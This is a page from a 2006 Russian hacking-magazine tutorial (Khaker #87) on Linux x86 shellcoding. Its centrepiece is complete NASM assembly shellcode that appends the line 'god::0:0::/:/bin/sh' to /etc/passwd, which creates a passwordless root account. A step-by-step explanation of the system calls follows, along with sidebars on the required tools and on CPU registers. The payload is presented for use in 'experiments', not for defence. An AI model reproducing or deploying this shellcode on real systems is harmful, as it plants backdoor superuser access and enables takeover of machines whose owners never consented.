Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #87, МАРТ 2006 г.

Черная магия для начинающих

0xbeerdrinkz & l1s

Хакер, номер #087, стр. 087-148-5


[login: god]

В этом шелл-коде нам придется работать сразу с четырьмя системными вызовами: open, write, close и exit. Первый вызов будет открывать файл паролей с определенными параметрами (/etc/passwd), второй будет добавлять туда новую строчку, содержащую параметры нашего нового пользователя, третий вызов будет закрывать файл и, наконец, четвертый вызов будет корректно выходить из программы. Вперед!

cdq

push edx

pop eax

push eax

pop ecx

push 'swd.'

push '/pas'

push '/etc'

mov byte [esp+11],al

mov ebx,esp

mov cx,0x441

mov al,5

int 80h

mov ebx,eax

push '/shx'

push '/bin'

push '::/:'

push ':0:0'

push 'god:'

mov byte [esp+19],0xa

mov ecx,esp

mov dl,20

mov al,4

int 80h

mov al,6

int 80h

xor ebx,ebx

inc al

int 80h

Теперь все в подробностях. В начале мы уже привычными инструкциями обнуляем наши любимые регистры и кладем имя редактируемого файла в стек. На конце имени присутствует точка, это сделано для того, чтобы в шелл-коде не было нуля. Далее по коду этот лишний символ меняется на ноль, чтобы системные вызовы увидели конец строки.

Потом мы запихиваем первый параметр вызова open в EBX, а второй параметр – в ECX (0x441 посмотри насчет спецификации параметра), а в AL у нас идет номер системного вызова – 5. После чего мы вызываем int 80h.

Далее по курсу у нас второй вызов, с параметрами которого ты уже и сам можешь разобраться. Но сначала мы помещаем в EBX содержимое регистра EAX, так как при вызове open параметр сохраняется в EAX, а он нам нужен в EBX для следующего вызова. Мы затираем ненужный символ, но уже знаком переноса строки. Кладем стандартные параметры, которые я уже объяснял тебе в примере про write, и вызываем прерывание. Следующий вызов - close, который требует всего одного параметра - дескриптора файла (EBX). И, наконец, exit с кодом выхода 0.

Надеюсь, ты уже набрал и сдампил шелл-код, здесь я его приводить не стану. Размер, конечно, не из маленьких, так как в шелл-коде содержатся довольно здоровые строки, но в целом он нормально оптимизирован.

[exit(0)]

Шелл-кодинг - это очень интересное и увлекательное занятие, ты можешь полюбить его и возненавидеть в один момент. Если у тебя что-то не получается - не расстраивайся, а пиши мне на мыло, и я постараюсь тебе помочь. На этом все. Желаю тебе удачи в твоих экстремальных кодерских экспериментах.

[джентльменский набор]

Для осуществления всего описанного в статье тебе потребуются:

1. Linux – тачка с установленным на нее пингвином

2. NASM (http://sourceforge.net/projects/nasm) - ассемблер с интеловским синтаксисом

3. LD - стандартный линковщик

4. Objdump - утилита для просмотра байт-кода

5. Strace - утилита для просмотра вызовов

Это есть в каждом доме, поэтому достать все необходимое – не проблема ХХХХХХХХХХХХХХХХХХХХХХХХХ

[регистры общего назначения]

Для того чтобы более или менее связно программировать на ассемблере, хватает всего четырех регистров общего назначения: EAX, EBX, ECX, EDX. Это 32-разрядные регистры, то есть в них может содержаться аж 4 байта. Если нужно использовать не все 32 разряда регистра, а, скажем, 16 или 8, то используются такие регистры: AX, BX, CX и DX (16-разрядные, без префикса «E»), а также их половинки: AH, AL, BH и т.п.

Назад на стр. 087-148-4  Содержание  Вперед на стр. 087-148-6